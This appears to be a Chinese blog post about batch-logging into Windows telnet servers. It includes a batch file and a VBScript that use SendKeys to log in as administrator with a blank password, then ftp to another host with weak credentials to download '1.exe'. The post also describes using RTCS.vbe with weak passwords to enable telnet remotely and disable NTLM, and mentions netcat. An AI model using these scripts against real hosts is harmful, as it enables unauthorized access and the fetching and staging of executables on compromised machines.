这几天,不知道发什么神经,总是想写个东东来批量登陆telnet。如果系统还是老的windows TM,只要网速好,登陆是刷刷的快!
一个登陆这个的代码
LogonTelnet.bat
@echo off
start “” /min cmd.exe /c
rem 启动telnet
start telnet.exe
rem batch telnet
cscript //nologo telnet.vbs
exit
telnet.vbs
set sh=WScript.CreateObject(“WScript.Shell”)
WScript.Sleep 1000
sh.SendKeys “open 21.1.1.1”
sh.SendKeys “{ENTER}”
sh.SendKeys “administrator{ENTER}”
sh.SendKeys “{ENTER}”
WScript.Sleep 1000
sh.SendKeys “{ENTER}”
sh.SendKeys “ftp 192.168.1.1”
sh.SendKeys “{ENTER}”
WScript.Sleep 1000
sh.SendKeys “admin”
WScript.Sleep 1000
sh.SendKeys “{ENTER}”
WScript.Sleep 1000
sh.SendKeys “123”
WScript.Sleep 1000
sh.SendKeys “{ENTER}”
WScript.Sleep 1000
sh.SendKeys “get 1.exe”
WScript.Sleep 1000
sh.SendKeys “{ENTER}”
sh.SendKeys “bye”
WScript.Sleep 1000
sh.SendKeys “{ENTER}”
可是一到NT的系统就只有郁闷的命了,微软的ntlm很好的屏蔽了这个“漏洞”,只能手动确认,你是否愿意连接…….
但如果我们有弱口令可以用RTCS.vbe开其telnet并确把ntlm设置为0。
cscript RTCS.vbe <目标IP> <用户名> <密码> 验证方式> >
其中 NTLM 值可取0,1,2:
0: 不使用 NTLM 身份验证;
1: 先尝试 NTLM 身份验证。如果失败,再使用用户名和密码;
2: 只使用 NTLM 身份验证
这样之后是不是就可以实现批量登陆了呢?
其实不行的,因为我们的桌面只有一个焦点,当打开其它的cmd.exe时,焦点随之转移。
有的说nc.exe可以实现,
nc 192.168.1.1 23